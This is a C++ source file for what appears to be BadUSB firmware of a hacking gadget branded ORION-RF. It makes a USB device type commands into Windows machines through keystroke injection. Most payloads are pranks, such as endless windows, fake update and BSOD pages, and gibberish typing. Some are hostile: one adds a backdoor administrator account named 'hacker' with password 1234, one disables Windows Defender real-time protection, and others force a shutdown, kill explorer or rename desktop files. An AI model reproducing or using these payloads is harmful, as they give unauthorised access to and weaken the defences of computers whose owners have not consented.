aboutsummaryrefslogtreecommitdiff
path: root/src/hid/badusb.cpp
blob: 04383577e0d8f4b8426e9e059e8f3b716771180e (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
#include <Arduino.h>
#include <USBHIDKeyboard.h>
#include "../ui/display.h"

extern USBHIDKeyboard Keyboard;

void runCommand(const char *command) {
  Keyboard.press(KEY_LEFT_GUI);
  Keyboard.press('r');
  delay(100);
  Keyboard.releaseAll();
  delay(300);
  Keyboard.print(command);
  Keyboard.write(KEY_RETURN);
}

void showRunningScreen(String taskName, uint8_t duration = 5) {
  u8g2.clearBuffer();
  u8g2.setFont(u8g2_font_6x12_tf);
  u8g2.drawStr(0, 15, "Running:");
  u8g2.drawStr(0, 30, taskName.c_str());
  u8g2.drawFrame(0, 45, 128, 10);

  static const unsigned char image_download_bits[] U8X8_PROGMEM = {
      0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x80, 0x1f, 0x00, 0x00,
      0x00, 0x80, 0xff, 0x1f, 0x00, 0x00, 0x00, 0x80, 0xff, 0x1f, 0x00, 0x00,
      0x00, 0x60, 0x80, 0x1f, 0x00, 0x00, 0x00, 0x60, 0x00, 0x0f, 0x00, 0x00,
      0x00, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0x02,
      0x00, 0x06, 0x00, 0x00, 0x00, 0x0e, 0x00, 0x06, 0x00, 0x00, 0x00, 0x3e,
      0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
      0x00, 0x60, 0x00, 0x00, 0x00, 0x3e, 0x00, 0x60, 0x00, 0x00, 0x00, 0x0e,
      0x00, 0x80, 0x01, 0x00, 0x00, 0x02, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x06, 0xf0, 0x03, 0x00, 0x00, 0x00, 0x06, 0xf0, 0x03, 0x00,
      0x00, 0x00, 0xf8, 0xff, 0x03, 0x00, 0x00, 0x00, 0xf8, 0xff, 0x03, 0x00,
      0x00, 0x00, 0x00, 0xf0, 0x03, 0x00, 0x00, 0x00, 0x00, 0xf0, 0x03, 0x00};
  static const unsigned char image_EviSmile1_bits[] U8X8_PROGMEM = {
      0x0c, 0xc0, 0x00, 0x06, 0x80, 0x01, 0x07, 0x80, 0x03, 0xcf, 0xcf,
      0x03, 0xff, 0xff, 0x03, 0xff, 0xff, 0x03, 0xfe, 0xff, 0x01, 0xfe,
      0xff, 0x01, 0xfe, 0xff, 0x01, 0xf7, 0xbf, 0x03, 0xe7, 0x9f, 0x03,
      0xc7, 0x8f, 0x03, 0x87, 0x87, 0x03, 0x8f, 0xc7, 0x03, 0xff, 0xff,
      0x03, 0xfe, 0xff, 0x01, 0xde, 0xef, 0x01, 0xbc, 0xf4, 0x00, 0x78,
      0x78, 0x00, 0xf0, 0x3f, 0x00, 0xc0, 0x0f, 0x00};

  u8g2.setFontMode(1);
  u8g2.setBitmapMode(1);
  // download
  u8g2.drawXBMP(80, 2, 48, 22, image_download_bits);

  // EviSmile1
  u8g2.drawXBMP(62, 1, 18, 21, image_EviSmile1_bits);

  for (uint8_t i = 0; i <= duration; i++) {
    u8g2.drawBox(1, 46, i * (126.0 / duration), 8);
    u8g2.sendBuffer();
    delay(50);
  }
}


void badUSBMenu(int index) {
 //switch (index)
 //       {
 //           case 0:
 //               runBadUSBDemo();
 //               break;

 //           case 1:
 //               Serial.println("Open CMD payload");
 //               runBadUSBOpenCMD();
 //               break;

 //           case 2:
 //               Serial.println("Rickroll payload");
 //               runBadUSBRickroll();
 //               break;
 //       }


    switch(index) {
    case 0: // demo

        showRunningScreen("DEMO");

        // Run dialog (Win + R)
        Keyboard.press(KEY_LEFT_GUI);
        Keyboard.press('r');
        Keyboard.releaseAll();
        delay(1000);

        Keyboard.println("notepad");
        delay(1500);

        delay(2000);

        Keyboard.println("YOU HAVE BEEN HACKED BY ORION-RF");
        Keyboard.println("#-FEATURES:");
        Keyboard.println("1- WIFI ATTACKS");
        Keyboard.println("2- BLE ATTACKS");
        Keyboard.println("3- BAD USB");
        Keyboard.println("4- NFC");
        Keyboard.println("5- INFRARED");
        Keyboard.println("6- SUB-GHZ");
        Keyboard.println("7- GPIO");
        Keyboard.println("8- APPS");
        Keyboard.println("9- SETTINGS");
        Keyboard.println("10- FILES");

        break;
      case 1: // keyboard
        //runLoop(hidkeyboard);
        break;
      case 2: // saved scripts
        //hidInit();
        //runLoop(hidscriptmenu);

        break;

      case 3: // Open Notepad

        showRunningScreen("notepad");
        runCommand("notepad");
        break;
      case 4: // Open CMD
        showRunningScreen("opening cmd");
        runCommand("cmd");
        break;
      case 5: // Show IP
        showRunningScreen("Getting IP");
        runCommand("cmd");
        delay(500);
        Keyboard.print("ipconfig");
        Keyboard.write(KEY_RETURN);
        break;
      case 6: // Shutdown
        showRunningScreen("shutdown");
        runCommand("shutdown /s /t 0");
        break;
      case 7: // RickRoll
        showRunningScreen("rickroll");
        runCommand("cmd");
        delay(500);
        Keyboard.print("start https://www.youtube.com/watch?v=dQw4w9WgXcQ");
        Keyboard.write(KEY_RETURN);
        break;
      case 8: // Create Admin User
        showRunningScreen("create admin user");
        runCommand("cmd");
        delay(500);
        Keyboard.print("net user hacker 1234 /add");
        Keyboard.write(KEY_RETURN);
        delay(300);
        Keyboard.print("net localgroup administrators hacker /add");
        Keyboard.write(KEY_RETURN);
        break;
      case 9: // Disable Windows Defender
        showRunningScreen("disable windoes defender");
        runCommand("powershell");
        delay(500);
        Keyboard.print("Set-MpPreference -DisableRealtimeMonitoring $true");
        Keyboard.write(KEY_RETURN);
        break;
      case 10: // Open YouTube
        showRunningScreen("youtube");
        runCommand("cmd");
        delay(500);
        Keyboard.print("start https://www.youtube.com");
        Keyboard.write(KEY_RETURN);
        break;
      case 11: // Lock PC
        showRunningScreen("lock pc");
        runCommand("rundll32.exe user32.dll,LockWorkStation");
        break;
      case 12: // Fake Update
        showRunningScreen("fake update");
        runCommand("cmd");
        delay(500);
        Keyboard.print("start https://fakeupdate.net/win10u/");
        Keyboard.write(KEY_RETURN);
        break;

      case 13: // Endless Notepad
        showRunningScreen("endless notepad");
        for (int i = 0; i < 10; i++) {
          runCommand("notepad");
          delay(500);
        }
        break;

      case 14: // Fake BSOD (opens fullscreen image)
        showRunningScreen(" fake bsod");
        runCommand("cmd");
        delay(500);
        Keyboard.print("start https://fakeupdate.net/bsod/");
        Keyboard.write(KEY_RETURN);
        break;

      case 15: // Flip screen
        showRunningScreen("Flip screen");
        Keyboard.press(KEY_LEFT_CTRL);
        Keyboard.press(KEY_LEFT_ALT);
        Keyboard.press(KEY_DOWN_ARROW);
        delay(100);
        Keyboard.releaseAll();
        break;

      case 16: // Matrix effect
        showRunningScreen("Matrix effect");
        runCommand("cmd");
        delay(500);
        Keyboard.print("color 0A");
        Keyboard.write(KEY_RETURN);
        Keyboard.print(":a");
        Keyboard.write(KEY_RETURN);
        Keyboard.print("echo %random%%random%%random%%random%");
        Keyboard.write(KEY_RETURN);
        Keyboard.print("goto a");
        Keyboard.write(KEY_RETURN);
        break;

      case 17: // I'm watching you prank
        showRunningScreen(" iam watching you");
        for (int i = 0; i < 5; i++) {
          runCommand("notepad");
          delay(1000);
          Keyboard.print("I'm watching you...");
          delay(5000);
        }
        break;

      case 18: // Open Google
        showRunningScreen("open google");
        runCommand("cmd");
        delay(500);
        Keyboard.print("start https://www.google.com");
        Keyboard.write(KEY_RETURN);
        break;

      case 19: // Open telegram
        showRunningScreen("open telegram");
        runCommand("cmd");
        delay(500);
        Keyboard.print("start https://web.telegram.org/");
        Keyboard.write(KEY_RETURN);
        break;

      case 20: // Alarm Sound
        showRunningScreen("alarm sound");
        runCommand("cmd");
        delay(500);
        Keyboard.print("start https://www.soundjay.com/button/beep-07.wav");
        Keyboard.write(KEY_RETURN);
        break;

      case 21: // Endless CMD
        showRunningScreen("endless smd");
        for (int i = 0; i < 20; i++) {
          runCommand("cmd");
          delay(300);
        }
        break;

      case 22: // Gibberish
        showRunningScreen("gibberish");
        for (int i = 0; i < 100; i++) {
          char c = random(33, 127);
          Keyboard.write(c);
          delay(50);
        }
        break;

      case 23: // CAPSLOCK Spam
        showRunningScreen("caps lock spam");
        for (int i = 0; i < 10; i++) {
          Keyboard.press(KEY_CAPS_LOCK);
          delay(200);
          Keyboard.release(KEY_CAPS_LOCK);
          delay(200);
        }
        break;

      case 24: // Calculator
        showRunningScreen("claculator");
        runCommand("calc");
        break;

      case 25: // Auto Type "Hacked!"
        showRunningScreen("hacked");
        for (int i = 0; i < 5; i++) {
          Keyboard.print("Hacked!");
          Keyboard.write(KEY_RETURN);
          delay(1000);
        }
        break;

      case 26: // Turn off monitor (Windows only)
        showRunningScreen("turn off monitor");
        runCommand("powershell");
        delay(500);
        Keyboard.print(
            "(Add-Type '[DllImport(\"user32.dll\")]public static extern int "
            "SendMessage(int hWnd, int hMsg, int wParam, int lParam);' -Name a "
            "-Pas)::SendMessage(-1,0x0112,0xF170,2)");
        Keyboard.write(KEY_RETURN);
        break;

      case 27: // RegEdit
        showRunningScreen("regedit");
        runCommand("regedit");
        break;

      case 28: // Kill Explorer
        showRunningScreen(" kill explorer");
        runCommand("taskkill /f /im explorer.exe");
        break;

      case 29: // Flash screen (by changing background rapidly)
        showRunningScreen(" flash screen");
        for (int i = 0; i < 10; i++) {
          runCommand("color 4F");
          delay(200);
          runCommand("color 1F");
          delay(200);
        }
        break;

      case 30: // Rename Desktop Files (basic prank)

        showRunningScreen("rename desktop files");
        runCommand("powershell");
        delay(500);
        Keyboard.print("Get-ChildItem \"$env:USERPROFILE\\Desktop\" | "
                       "Rename-Item -NewName {'hacked'+$_.Name}");
        Keyboard.write(KEY_RETURN);
        break;

      case 31: // Toggle WiFi (requires admin)
        showRunningScreen("toggle wifi");
        runCommand("cmd");
        delay(500);
        Keyboard.print("netsh interface set interface Wi-Fi disabled");
        Keyboard.write(KEY_RETURN);
        delay(1000);
        Keyboard.print("netsh interface set interface Wi-Fi enabled");
        Keyboard.write(KEY_RETURN);
        break;

      case 32: // Screenshot
        showRunningScreen("screenshot");
        runCommand("powershell");
        delay(500);
        Keyboard.print("Add-Type -AssemblyName System.Windows.Forms;");
        Keyboard.write(KEY_RETURN);
        delay(300);
        Keyboard.print("[System.Windows.Forms.SendKeys]::SendWait('%{PRTSC}')");
        Keyboard.write(KEY_RETURN);
        break;

      case 33: // Emoji spam
        showRunningScreen("emoji spam");
        for (int i = 0; i < 10; i++) {
          Keyboard.print("💀");
          Keyboard.write(KEY_RETURN);
          delay(500);
        }
        break;

      case 34: // Control Panel
        showRunningScreen("control panel");
        runCommand("control");
        break;

      case 35: // Troll wallpaper
        showRunningScreen("troll wallpaper");
        runCommand("cmd");
        delay(500);
        Keyboard.print("start https://i.imgur.com/trollface.png");
        Keyboard.write(KEY_RETURN);
        break;

      case 36: // MS Paint
        showRunningScreen("ms paint");
        runCommand("mspaint");
        break;

      case 37: // Auto Tab Switcher
        showRunningScreen(" auto tab switcher");
        for (int i = 0; i < 10; i++) {
          Keyboard.press(KEY_LEFT_CTRL);
          Keyboard.press(KEY_TAB);
          delay(100);
          Keyboard.releaseAll();
          delay(300);
        }
        break;
}
}